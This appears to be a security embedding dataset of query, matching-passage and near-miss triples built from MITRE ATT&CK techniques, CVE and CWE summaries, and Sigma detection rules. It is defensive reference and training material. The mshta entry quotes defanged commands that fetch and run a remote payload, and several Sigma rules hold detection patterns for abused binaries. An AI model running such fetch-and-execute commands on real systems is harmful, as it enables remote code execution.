alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: indicators of Mshta
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218 System Binary Proxy Execution. Tactics: stealth. Description: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
Query: exploit Basware Banking (Maksuliikenne) 8.90.07.X relies on the client to enforce account locking, which allows local users to bypass that security mechanism by deleting the entry from the
Matching passage: CVE-2015-6745. CWE: CWE-264. CVSS: 4.599999904632568. Basware Banking (Maksuliikenne) 8.90.07.X relies on the client to enforce account locking, which allows local users to bypass that security mechanism by deleting the entry from the locking table. NOTE: this identifier was SPLIT from CVE-2015-0942 per ADT2 and ADT3 due to different vulnerability type and different affected versions. NOTE: this vulnerability exists because of an incorrect fix for CVE-2015-6744.
Near-miss passage: CVE-2015-7707. CWE: CWE-264. CVSS: 6.5. Ignite Realtime Openfire 3.10.2 allows remote authenticated users to gain administrator access via the isadmin parameter to user-edit-form.jsp.
Query: alert when Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL). Attackers may use Kali Linux
Matching passage: Sigma rule: Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL). Attackers may use Kali Linux. Logsource: windows / process_creation. Rule: title: Installation of WSL Kali-Linux id: eca8ae39-5c3c-4321-b538-9e64fe25822e status: experimental description: 'Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL). Attackers may use Kali Linux WSL to leverage its penetration testing tools and capabilities for malicious purposes. ' references: - https://medium.com/@redfanatic7/running-kali-linux-on-windows-51ad95166e6e - https://learn.microsoft.com/en-us/windows/wsl/install author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-10-10 tags: - attack.execution - attack.t1059 logsource: category: process_creation product: windows detection: selection_wsl_img: - Image|endswith: \wsl.exe - OriginalFileName: wsl selection_wsl_install: CommandLine|contains: - ' --install ' - ' -i ' selection_wsl_kali: CommandLine|contains: kali condition: all of selection_wsl_* falsepositives: - Legitimate installation or usage of Kali Linux WSL by administrators or security teams level: high
Near-miss passage: Sigma rule: User Added to an Administrator's Azure AD Role. Logsource: azure / auditlogs. Rule: title: User Added to an Administrator's Azure AD Role id: ebbeb024-5b1d-4e16-9c0c-917f86c708a7 status: test description: User Added to an Administrator's Azure AD Role references: - https://web.archive.org/web/20250904191633/https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/ - https://research.splunk.com/cloud/a28f0bc3-3400-4a6e-a2da-89b9e95f0d2a/ - https://analyticsrules.exchange/analyticrules/2a09f8cb-deb7-4c40-b08b-9137667f1c0b/ - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory author: Raphaël CALVET, @MetallicHack date: 2021-10-04 modified: 2026-04-30 tags: - attack.initial-access - attack.persistence - attack.privilege-escalation - attack.stealth - attack.t1098.003 - attack.t1078 logsource: product: azure service: auditlogs detection: selection: operationName: Add member to role properties.targetResources|contains: - Admins - Administrator condition: selection falsepositives: - PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled. level: medium
Query: SOC alert related to Private Keys
Matching passage: T1552.004 Private Keys. Tactics: credential access. Description: Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities) On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.
Near-miss passage: T1552 Unsecured Credentials. Tactics: credential access. Description: Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)
Query: patch priority for CVE-2015-0923
Matching passage: CVE-2015-0923. CWE: UNKNOWN. CVSS: 5.0. The ContentBlockEx method in Workarea/ServerControlWS.asmx in Ektron Content Management System (CMS) 8.5 and 8.7 before 8.7sp2 and 9.0 before sp1 allows remote attackers to read arbitrary files via an external entity declaration in conjunction with an entity reference within an XML document named in the xslt parameter, related to an XML External Entity (XXE) issue.
Near-miss passage: CVE-2015-0464. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in the Oracle Transportation Management component in Oracle Supply Chain Products Suite 6.1, 6.2, 6.3.0, 6.3.1, 6.3.2, 6.3.3, 6.3.4, 6.3.5, and 6.3.6 allows remote attackers to affect confidentiality via unknown vectors related to Security.
Query: write Sigma for Detect changes of syslog daemons configuration files
Matching passage: Sigma rule: Detect changes of syslog daemons configuration files. Logsource: linux / auditd. Rule: title: Logging Configuration Changes on Linux Host id: c830f15d-6f6e-430f-8074-6f73d6807841 status: test description: Detect changes of syslog daemons configuration files references: - self experience author: Mikhail Larin, oscd.community date: 2019-10-25 modified: 2021-11-27 tags: - attack.defense-impairment - attack.t1685 logsource: product: linux service: auditd detection: selection: type: PATH name: - /etc/syslog.conf - /etc/rsyslog.conf - /etc/syslog-ng/syslog-ng.conf condition: selection falsepositives: - Legitimate administrative activity level: high
Near-miss passage: Sigma rule: Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts. Logsource: windows / ps_script. Rule: title: Potential PowerShell Obfuscation Using Alias Cmdlets id: 96cd126d-f970-49c4-848a-da3a09f55c55 related: - id: e8314f79-564d-4f79-bc13-fbc0bf2660d8 type: derived status: test description: Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts references: - https://github.com/1337Rin/Swag-PSO author: frack113 date: 2023-01-08 modified: 2025-10-22 tags: - attack.execution - attack.stealth - attack.t1027 - attack.t1059.001 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains: - 'Set-Alias ' - 'New-Alias ' filter_main_cim: ScriptBlockText: - Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue - Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue condition: selection and not 1 of filter_main_* falsepositives: - Unknown level: low
Query: risk of pixabay-images.php in the Pixabay Images plugin before 2.4 for WordPress does not validate hostnames, which allows remote authenticated users to write to arbitrary files via an upl
Matching passage: CVE-2015-1376. CWE: CWE-284. CVSS: 4.0. pixabay-images.php in the Pixabay Images plugin before 2.4 for WordPress does not validate hostnames, which allows remote authenticated users to write to arbitrary files via an upload URL with a host other than pixabay.com.
Near-miss passage: CVE-2015-3657. CWE: CWE-284. CVSS: 7.199999809265137. Aruba Networks ClearPass Policy Manager before 6.4.7 and 6.5.x before 6.5.2 allows remote authenticated lower-level administrators to gain "Super Admin" privileges via unspecified vectors.
Query: CVE similar to CVE-2015-5353
Matching passage: CVE-2015-5353. CWE: CWE-22. CVSS: 7.5. Directory traversal vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the tab parameter to admin/.
Near-miss passage: CVE-2015-1834. CWE: CWE-22. CVSS: 6.5. A path traversal vulnerability was identified in the Cloud Foundry component Cloud Controller that affects cf-release versions prior to v208 and Pivotal Cloud Foundry Elastic Runtime versions prior to 1.4.2. Path traversal is the 'outbreak' of a given directory structure through relative file paths in the user input. It aims at accessing files and directories that are stored outside the web root folder, for disallowed reading or even executing arbitrary system commands. An attacker could use a certain parameter of the file path for instance to inject '../' sequences in order to navigate through the file system. In this particular case a remote authenticated attacker can exploit the identified vulnerability in order to upload arbitrary files to the server running a Cloud Controller instance - outside the isolated application container.
Query: detect Detects blocking of process creations originating from PSExec and WMI commands in logs
Matching passage: Sigma rule: Detects blocking of process creations originating from PSExec and WMI commands. Logsource: windows / windefend. Rule: title: PSExec and WMI Process Creations Block id: 97b9ce1e-c5ab-11ea-87d0-0242ac130003 status: test description: Detects blocking of process creations originating from PSExec and WMI commands references: - https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-process-creations-originating-from-psexec-and-wmi-commands - https://twitter.com/duff22b/status/1280166329660497920 author: Bhabesh Raj date: 2020-07-14 modified: 2022-12-25 tags: - attack.execution - attack.lateral-movement - attack.t1047 - attack.t1569.002 logsource: product: windows service: windefend definition: 'Requirements:Enabled Block process creations originating from PSExec and WMI commands from Attack Surface Reduction (GUID: d1e49aac-8f56-4280-b9ba-993a6d77406c)' detection: selection: EventID: 1121 ProcessName|endswith: - \wmiprvse.exe - \psexesvc.exe condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the creation of scheduled tasks that involves a temporary folder and runs only once. Logsource: windows / process_creation. Rule: title: Suspicious Scheduled Task Creation Involving Temp Folder id: 39019a4e-317f-4ce3-ae63-309a8c6b53c5 status: test description: Detects the creation of scheduled tasks that involves a temporary folder and runs only once references: - https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3 author: Florian Roth (Nextron Systems) date: 2021-03-11 modified: 2022-10-09 tags: - attack.privilege-escalation - attack.execution - attack.persistence - attack.t1053.005 logsource: category: process_creation product: windows detection: selection: Image|endswith: \schtasks.exe CommandLine|contains|all: - ' /create ' - ' /sc once ' - \Temp\ condition: selection falsepositives: - Administrative activity - Software installation level: high
Query: weakness Improper Update of Reference Count
Matching passage: CWE-911 Improper Update of Reference Count. The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.
Near-miss passage: CWE-280 Improper Handling of Insufficient Permissions or Privileges. The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.
Query: patch priority for CVE-2015-4609
Matching passage: CVE-2015-4609. CWE: CWE-89. CVSS: 6.5. SQL injection vulnerability in the wt_directory extension before 1.4.2 for TYPO3 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.
Near-miss passage: CVE-2015-10055. CWE: CWE-89. CVSS: 9.800000190734863. A vulnerability was found in PictureThisWebServer and classified as critical. This issue affects the function router.post of the file routes/user.js. The manipulation of the argument username/password leads to sql injection. The patch is named 68b9dc346e88b494df00d88c7d058e96820e1479. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-218399.
Query: exploit WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8, 7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to execute arbitrary code or cause a denial of se
Matching passage: CVE-2015-3745. CWE: CWE-119. CVSS: 6.800000190734863. WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8, 7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
Near-miss passage: CVE-2015-6764. CWE: CWE-119. CVSS: 9.800000190734863. The BasicJsonStringifier::SerializeJSArray function in json-stringifier.h in the JSON stringifier in Google V8, as used in Google Chrome before 47.0.2526.73, improperly loads array elements, which allows remote attackers to cause a denial of service (out-of-bounds memory access) or possibly have unspecified other impact via crafted JavaScript code.
Query: vulnerability: Cross-site request forgery (CSRF) vulnerability in the jolokia API in A-MQ.
Matching passage: CVE-2015-5182. CWE: CWE-352. CVSS: 8.800000190734863. Cross-site request forgery (CSRF) vulnerability in the jolokia API in A-MQ.
Near-miss passage: CVE-2015-7278. CWE: CWE-352. CVSS: 8.800000190734863. Cross-site request forgery (CSRF) vulnerability on Amped Wireless R10000 devices with firmware 2.5.2.11 allows remote attackers to hijack the authentication of arbitrary users.
Query: containment actions for Persistence mechanism resembling Odbcconf
Matching passage: Playbook for T1218.008 Odbcconf. 1) Validate alert telemetry against T1218.008. 2) Scope affected hosts and accounts. 3) Contain by isolating endpoint / disabling account if confirmed. 4) Hunt for related tactics: stealth. 5) Eradicate persistence and recover. Reference detection notes: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for
Near-miss passage: Playbook for T1218.009 Regsvcs/Regasm. Different response path focused on stealth.
Query: weakness Trojan Horse
Matching passage: CWE-507 Trojan Horse. The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.
Near-miss passage: CWE-710 Improper Adherence to Coding Standards. The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
Query: Suspicious Stored Data Manipulation execution detected on endpoint
Matching passage: T1565.001 Stored Data Manipulation. Tactics: impact. Description: Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Near-miss passage: T1565 Data Manipulation. Tactics: impact. Description: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Query: detect Detects possible malicious execution of JXA in-memory via OSAScript in logs
Matching passage: Sigma rule: Detects possible malicious execution of JXA in-memory via OSAScript. Logsource: macos / process_creation. Rule: title: JXA In-memory Execution Via OSAScript id: f1408a58-0e94-4165-b80a-da9f96cf6fc3 related: - id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55 type: derived status: test description: Detects possible malicious execution of JXA in-memory via OSAScript references: - https://redcanary.com/blog/applescript/ author: Sohan G (D4rkCiph3r) date: 2023-01-31 tags: - attack.t1059.002 - attack.t1059.007 - attack.execution logsource: product: macos category: process_creation detection: selection_main: CommandLine|contains|all: - osascript - ' -e ' - eval - NSData.dataWithContentsOfURL selection_js: - CommandLine|contains|all: - ' -l ' - JavaScript - CommandLine|contains: .js condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the deletion of one or more VPC Flow Logs in AWS Elastic Compute Cloud (EC2) through the DeleteFlowLogs API call. Logsource: aws / cloudtrail. Rule: title: AWS VPC Flow Logs Deleted id: e386b9b5-af12-450e-afff-761730fb8a98 status: experimental description: 'Detects the deletion of one or more VPC Flow Logs in AWS Elastic Compute Cloud (EC2) through the DeleteFlowLogs API call. Adversaries may delete flow logs to evade detection or remove evidence of network activity, hindering forensic investigations and visibility into malicious operations. ' references: - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html - https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html - https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion author: Ivan Saakov date: 2025-10-19 tags: - attack.stealth logsource: product: aws service: cloudtrail detection: selection_event_name: eventName: DeleteFlowLogs selection_status_success: errorCode: Success selection_status_null: errorCode: null condition: selection_event_name and 1 of selection_status_* falsepositives: - During maintenance operations or testing, authorized administrators may delete VPC Flow Logs as part of routine network management or cleanup activities. level: high